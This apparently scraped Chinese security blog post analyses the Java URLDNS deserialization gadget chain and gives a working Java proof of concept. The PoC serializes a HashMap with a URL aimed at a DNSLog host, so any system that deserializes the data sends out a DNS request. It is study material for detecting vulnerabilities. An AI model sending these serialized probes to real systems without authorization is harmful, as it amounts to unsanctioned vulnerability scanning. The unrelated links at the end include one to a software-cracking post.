Java安全01——URLDNS链分析与利用
URLDNS链分析与利用
作用
- URLDNS 利用链只能发起 DNS 请求,不能执行命令,所以用于漏洞的检测
- 不限制JDK版本,使用Java内置类,无第三方依赖要求
- 可以进行无回显探测
利用链

利用链可以查看开源项目:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
利用链分析
1、确定最终的目标
根据上面的利用链发现最后执行的函数为URL.hashCode()

可以判断,如果直接return是不行的,所以需要执行到handler.hashCode(),并进一步执行getHostAddress()函数

确定是InetAddress.getByName(host) 执行的DNS解析,并触发DNS回显

2、从头开始梳理,判断请求执行的条件
基于对上面代码的分析,只要在反序列化的过程中执行到URL.hashCode()就可以出发DNS请求了
那么就从HashMap.readobject()开始分析
HashMap.readobject()代码:
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
..............................................................................省略前面无关的代码
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
.............................................................................省略无关的代码
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
所以执行到putVal()的条件是
int mappings获取键值对数量 =》 mappings>0
继续查看HashMap.hash()详细内容
HashMap.hash()代码
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
执行逻辑
int mappings获取键值对数量 =》 mappings>0 =》 putVal() => hash(key) => key不为空 =》key.hashCode 这里实际执行的是URL.hashCode()
这里需要注意的是,如果想要利用这个链,那么传入的数据应当是URL类型,所以应该去URL类的源码中查看其hashCode()
URL.hashCode()代码
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
到此处就回到一开始分析的部分了,也就是只要执行URL.hashCode(key)就行了,其中Key为URL类对象
利用测试
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
HashMap<URL,Integer> hashMap = new HashMap<>(); //创建一个HashMap对象
URL url = new URL("http://hgbaug.dnslog.cn"); //创建一个URL对象,用于DNSLog回显测试
Field hashCode = url.getClass().getDeclaredField("hashCode"); //通过反射机制获取url对象中的hashCode属性值
hashCode.setAccessible(true);//hashCode由private int hashCode = -1定义,所以需要使用setAccessible
hashCode.set(url,999);//这三行看下面的解释
hashMap.put(url,999);
hashCode.set(url,-1);
//执行序列化操作
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
objectOutputStream.writeObject(hashMap);
//执行反序列化操作,并加载HashMap自定义的 readObject(),自此进入利用链
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
objectInputStream.readObject();
}
}
关于上述代码15行-17行的问题
为什么要先设为非-1,然后再设置为-1呢?
查看HashMap.put()的代码可以发现,这里也调用了putVal()
如果此时hashcode的值为-1,那么就会直接进入流程利用链的后三个流程,如下:
putVal() => hash(key) => key不为空 =》key.hashCode 这里实际执行的是URL.hashCode()
那么就会导致一个问题,代码没进入到反序列化就直接发起dns请求了,这会导致无法判断目标是否存在反序列化漏洞
所以再put之前,需要让hashcode的值不为-1。等到put操作完成即将进入序列化和反序列化时再将其设为-1。进而达到判断目标是否有反序列化漏洞的目的
HashMap.put()代码
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
Java安全01——URLDNS链分析与利用的更多相关文章
- Java安全之URLDNS链
Java安全之URLDNS链 0x00 前言 在学习Java的反序列化漏洞的时候,就不得不学习他的一个利用链.很多刚刚入门的对于利用链这个词可能比较陌生.那么这里先来了解一下Java反序列化和反序列化 ...
- [Java 教程 01] Hello,Java!
前言 从事编程已经有一段时间了,突然发现,Java作为我的第一编程语言,自己似乎对她并有一个系统的思想.当下Java依旧保持着超高的热度,新特性也不断出现,从当初学习的java6版本到最近刚出的jav ...
- Java安全之Fastjson内网利用
Java安全之Fastjson内网利用 0x00 前言 在打Fastjson的时候,基本上都是使用JNDI注入的方式去打,也就是 JdbcRowSetImpl 链分析的链去打,但是遇到一些不出网的情况 ...
- Java多线程| 01 | 线程概述
Java多线程| 01 | 线程概述 线程相关概念 进程与线程 进程:进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是操作系统进行资源分配与调度的基本单位.可以把进程简单的理解 ...
- JAVA与.NET的相互调用——利用JNBridge桥接模式实现远程通讯
分布式开发的历史 利用Remote方式调用远程对象实现服务器与客户端之间通讯是一种常用的网络开发方式,在.NET与JAVA开发当中,对Remote远程对象早已有着足够的支持(对Remote远程对象调用 ...
- Java学习01
Java学习01 第一章 1.JRE与JDK JDK(JAVA Develop Kit,JAVA开发工具包)提供了Java的开发环境和运行环境,主要用于开发JAVA程序,面向Java程序的开发者; J ...
- java基础 01
java基础01 1. /** * JDK: (Java Development ToolKit) java开发工具包.JDK是整个java的核心! * 包括了java运行环境 JRE(Java Ru ...
- # 095 01 Android 零基础入门 02 Java面向对象 02 Java封装 01 封装的实现 03 # 088 01 Android 零基础入门 02 Java面向对象 02 Java封装 03 封装总结 01 封装知识点总结
095 01 Android 零基础入门 02 Java面向对象 02 Java封装 01 封装的实现 03 # 088 01 Android 零基础入门 02 Java面向对象 02 Java封装 ...
- 094 01 Android 零基础入门 02 Java面向对象 02 Java封装 01 封装的实现 03 # 088 01 Android 零基础入门 02 Java面向对象 02 Java封装 02 static关键字 04 static关键字(续)
094 01 Android 零基础入门 02 Java面向对象 02 Java封装 01 封装的实现 03 # 088 01 Android 零基础入门 02 Java面向对象 02 Java封装 ...
- 093 01 Android 零基础入门 02 Java面向对象 02 Java封装 01 封装的实现 03 # 088 01 Android 零基础入门 02 Java面向对象 02 Java封装 02 static关键字 03 static关键字(下)
093 01 Android 零基础入门 02 Java面向对象 02 Java封装 01 封装的实现 03 # 088 01 Android 零基础入门 02 Java面向对象 02 Java封装 ...
随机推荐
- Datagrip 破解
题记部分 方法一 [参考链接]:DataGrip 2023.2最新安装使用教程(附激活码,亲测好用)_糖果果爱分享的技术博客_51CTO博客 [软件版本]:datagrip-2023.3.4.win ...
- 全网最简单!3分钟用满血DeepSeek R1开发一款AI智能客服,零代码轻松接入微信、公众号、小程序,新手也能快速上手!
大家好,我是狂师. 在当今数字化时代,智能客服已成为提升用户体验.提高运营效率的关键工具. 今天,我们将为大家带来一个超级简单的教程,教你如何在短短3分钟内,利用腾讯微搭平台,将满血 DeepSeek ...
- Python基础笔记-while、字符串格式化、运算符、基础概念与数据类型
前言 !!!注意:本系列所写的文章全部是学习笔记,来自于观看视频的笔记记录,防止丢失.观看的视频笔记来自于:哔哩哔哩武沛齐老师的视频:2022 Python的web开发(完整版) 入门全套教程,零基础 ...
- Web前端入门第4问:HTML、CSS、JavaScript 的作用分别是什么?
HTML.CSS.JavaScript 的核心作用 HTML:网页的骨架 功能:定义页面的内容结构(如按钮.表格.图片). 示例:<button>提交</button> 创建一 ...
- 记vue修改数组属性,dom不发生变化的问题
目录: 目录 目录: 开篇 正确的姿势 为什么 $set 开篇 今天在写vue的时候,出现了一个以前可能没遇到的问题.我利用一个数组记录列表下按钮的启用.禁用状态,但我点击某个列表项按钮后,会修改当前 ...
- 原生JS实现虚拟列表(不使用Vue,React等前端框架)
好家伙, 1. 什么是虚拟列表 虚拟列表(Virtual List)是一种优化长列表渲染性能的技术.当我们需要展示成千上万条数据时,如果一次性将所有数据渲染到DOM中,会导致页面卡顿甚至崩溃.虚拟 ...
- PLSQL中查询数据的时候查询结果显示中文乱码
要需要很努力才能看起来毫不费力.....1.在PLSQL中查询数据的时候查询结果显示中文乱码这里写图片描述2.需要在环境变量中新建两个环境变量:第一个:设置 NLS_LANG=SIMPLIFIED C ...
- 国内四大骨干网与十大ISP服务商
1.骨干网 几台计算机连接起来,互相可以看到其他人的文件,这叫局域网,整个城市的计算机都连接起来,就是城域网,把城市之间连接起来的网就叫骨干网.这些骨干网是国家批准的可以直接和国外连接的互联网.其他有 ...
- Electron 客户端开机自启动
app.setLoginItemSettings 与 auto-launch 对比分析 一.稳定性对比 1. app.setLoginItemSettings 优点:作为Electron官方API,有 ...
- 【WinForm】WinForm 生成单文件程序
WinForm 生成单文件程序 零.解决 安装 Costura.Fody 安装好这个库后生成的就是单文件了. .Net 3.5 NuGet控制台 NuGet\Install-Package Costu ...